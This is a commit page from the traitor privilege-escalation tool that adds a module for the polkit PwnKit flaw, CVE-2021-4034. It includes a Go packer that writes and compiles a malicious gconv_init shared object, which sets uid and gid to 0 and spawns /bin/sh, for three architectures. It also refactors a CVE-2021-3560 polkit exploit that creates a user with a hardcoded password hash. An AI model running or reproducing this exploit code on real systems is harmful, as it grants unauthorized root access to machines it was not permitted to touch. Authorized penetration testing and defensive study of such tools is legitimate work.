Skip to content

Commit ff4a5f2

Browse files
authored
Add support for cve-2021-4034 (liamg#53)
* Add support for cve-2021-4034
1 parent 721ad3a commit ff4a5f2

40 files changed

+6675
-31
lines changed

.github/workflows/pr.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ jobs:
44
test:
55
strategy:
66
matrix:
7-
go-version: [1.14.x, 1.15.x]
7+
go-version: [1.17.x]
88
os: [ubuntu-latest]
99
runs-on: ${{ matrix.os }}
1010
steps:

.github/workflows/release.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ jobs:
1818
- name: Install Go
1919
uses: actions/setup-go@v2
2020
with:
21-
go-version: 1.15.x
21+
go-version: 1.17.x
2222
- name: Checkout code
2323
uses: actions/checkout@v2
2424
- name: Test

Makefile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,17 @@
11

22

3+
.PHONY: build
34
build:
45
CGO_ENABLED=0 go build ./cmd/traitor
56

7+
.PHONY: pack
8+
pack:
9+
go run ./cmd/pack
10+
11+
.PHONY: install
612
install:
713
CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor
814

15+
.PHONY: test
916
test:
1017
go test ./... -race -cover

cmd/pack/main.go

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
package main
2+
3+
import (
4+
"bytes"
5+
"fmt"
6+
"io/ioutil"
7+
"os"
8+
"os/exec"
9+
"path/filepath"
10+
)
11+
12+
const outputDir = "./pkg/exploits/cve20214034"
13+
14+
func main() {
15+
if err := buildPwnkitSharedObjects(); err != nil {
16+
panic(err)
17+
}
18+
}
19+
20+
func buildPwnkitSharedObjects() error {
21+
22+
for _, platform := range []struct {
23+
goarch string
24+
binary string
25+
args []string
26+
}{
27+
{
28+
goarch: "amd64",
29+
binary: "gcc",
30+
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
31+
},
32+
{
33+
goarch: "386",
34+
binary: "gcc",
35+
args: []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"},
36+
},
37+
{
38+
goarch: "arm64",
39+
binary: "aarch64-linux-gnu-gcc",
40+
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
41+
},
42+
} {
43+
44+
for _, command := range []string{"/bin/sh", "/usr/bin/true"} {
45+
46+
desc := filepath.Base(command)
47+
48+
pwnkitSrc := fmt.Sprintf(`#include <stdio.h>
49+
#include <stdlib.h>
50+
#include <unistd.h>
51+
52+
void gconv(void) {}
53+
54+
void gconv_init(void *step) {
55+
char *const args[] = {"%s", NULL};
56+
char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
57+
"bin:/sbin:/bin:/opt/bin",
58+
NULL};
59+
setuid(0);
60+
setgid(0);
61+
execve(args[0], args, environ);
62+
exit(0);
63+
}`, command)
64+
65+
sourcePath := filepath.Join(os.TempDir(), "traitor.c")
66+
if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil {
67+
return err
68+
}
69+
if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil {
70+
return err
71+
}
72+
73+
soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch)
74+
soPath := filepath.Join(outputDir, soFilename)
75+
76+
rawSO, err := ioutil.ReadFile("/tmp/traitor.so")
77+
if err != nil {
78+
return err
79+
}
80+
81+
output := bytes.NewBufferString(
82+
fmt.Sprintf(
83+
"//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{",
84+
platform.goarch,
85+
desc,
86+
),
87+
)
88+
89+
for i, b := range rawSO {
90+
if i%16 == 0 {
91+
output.WriteString("\n ")
92+
}
93+
output.WriteString(fmt.Sprintf(" %d,", b))
94+
}
95+
output.WriteString("\n}\n")
96+
if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil {
97+
return err
98+
}
99+
}
100+
}
101+
102+
return nil
103+
104+
}

go.mod

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ go 1.15
44

55
require (
66
github.com/creack/pty v1.1.11
7+
github.com/google/uuid v1.3.0
78
github.com/hashicorp/go-version v1.3.0
89
github.com/liamg/tml v0.3.0
910
github.com/spf13/cobra v1.1.1

go.sum

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,8 @@ github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXi
6464
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
6565
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
6666
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
67+
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
68+
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
6769
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
6870
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
6971
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=

pkg/exploits/all.go

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package exploits
2+
3+
import (
4+
"github.com/liamg/traitor/pkg/exploits/cve20213560"
5+
"github.com/liamg/traitor/pkg/exploits/cve20214034"
6+
"github.com/liamg/traitor/pkg/exploits/dockersock"
7+
)
8+
9+
func init() {
10+
register("docker:writable-socket", SpeedFast, dockersock.New())
11+
}
12+
13+
func init() {
14+
register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New())
15+
}
16+
17+
func init() {
18+
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
19+
}

pkg/exploits/exploit_polkit.go renamed to pkg/exploits/cve20213560/exploit.go

Lines changed: 14 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package exploits
1+
package cve20213560
22

33
import (
44
"context"
@@ -23,21 +23,17 @@ import (
2323
"golang.org/x/crypto/ssh/terminal"
2424
)
2525

26-
type cve20213560Exploit struct {
26+
type exploit struct {
2727
}
2828

29-
var simpleVersionRegex = regexp.MustCompile("^[0-9\\.\\-]+")
30-
31-
func NewCVE20213560Exploit() *cve20213560Exploit {
32-
exp := &cve20213560Exploit{}
29+
func New() *exploit {
30+
exp := &exploit{}
3331
return exp
3432
}
3533

36-
func init() {
37-
register("polkit:CVE-2021-3560", SpeedFast, NewCVE20213560Exploit())
38-
}
34+
var simpleVersionRegex = regexp.MustCompile(`^[0-9\.\-]+`)
3935

40-
func (v *cve20213560Exploit) isVulnerableDebian(s *state.State) bool {
36+
func (v *exploit) isVulnerableDebian(s *state.State) bool {
4137

4238
if !s.IsDebianLike() {
4339
return false
@@ -72,7 +68,7 @@ func (v *cve20213560Exploit) isVulnerableDebian(s *state.State) bool {
7268
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
7369
}
7470

75-
func (v *cve20213560Exploit) isVulnerableOther() bool {
71+
func (v *exploit) isVulnerableOther() bool {
7672

7773
output, err := exec.Command("pkcheck", "--version").Output()
7874
if err != nil {
@@ -98,7 +94,7 @@ func (v *cve20213560Exploit) isVulnerableOther() bool {
9894
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
9995
}
10096

101-
func (v *cve20213560Exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {
97+
func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {
10298

10399
// two different forks are versioned differently
104100
if !v.isVulnerableDebian(s) && !v.isVulnerableOther() {
@@ -116,11 +112,11 @@ func (v *cve20213560Exploit) IsVulnerable(_ context.Context, s *state.State, log
116112
return true
117113
}
118114

119-
func (v *cve20213560Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
115+
func (v *exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
120116
return v.Exploit(ctx, s, log, payloads.Defer)
121117
}
122118

123-
func (v *cve20213560Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
119+
func (v *exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
124120

125121
// attempt to install these via packagekit if they're not installed
126122
if err := v.installPackage("gnome-control-center", s, log); err != nil {
@@ -230,7 +226,7 @@ func (v *cve20213560Exploit) Exploit(ctx context.Context, s *state.State, log lo
230226
return nil
231227
}
232228

233-
func (v *cve20213560Exploit) createUser(log logger.Logger) (*user.User, error) {
229+
func (v *exploit) createUser(log logger.Logger) (*user.User, error) {
234230

235231
username := fmt.Sprintf("traitor%d", rand.Intn(10000))
236232
userinfo := "CVE-2021-3560"
@@ -267,7 +263,7 @@ func (v *cve20213560Exploit) createUser(log logger.Logger) (*user.User, error) {
267263
return user, nil
268264
}
269265

270-
func (v *cve20213560Exploit) setPassword(u *user.User, log logger.Logger) string {
266+
func (v *exploit) setPassword(u *user.User, log logger.Logger) string {
271267

272268
password := "traitor"
273269
passwordHash := "$5$xRveGoW.etBZqJwg$uEvtrnKPbuEvTxJAisVrCevthWxafgX6.uAS6uF7QW7"
@@ -300,7 +296,7 @@ func (v *cve20213560Exploit) setPassword(u *user.User, log logger.Logger) string
300296
return password
301297
}
302298

303-
func (v *cve20213560Exploit) timeDbusCommand(args []string) time.Duration {
299+
func (v *exploit) timeDbusCommand(args []string) time.Duration {
304300

305301
var totalTime time.Duration
306302
samples := 100
@@ -314,7 +310,7 @@ func (v *cve20213560Exploit) timeDbusCommand(args []string) time.Duration {
314310
return totalTime / time.Duration(samples)
315311
}
316312

317-
func (v *cve20213560Exploit) installPackage(name string, s *state.State, log logger.Logger) error {
313+
func (v *exploit) installPackage(name string, s *state.State, log logger.Logger) error {
318314

319315
if s.IsPackageInstalled(name) {
320316
return nil

0 commit comments

Comments
 (0)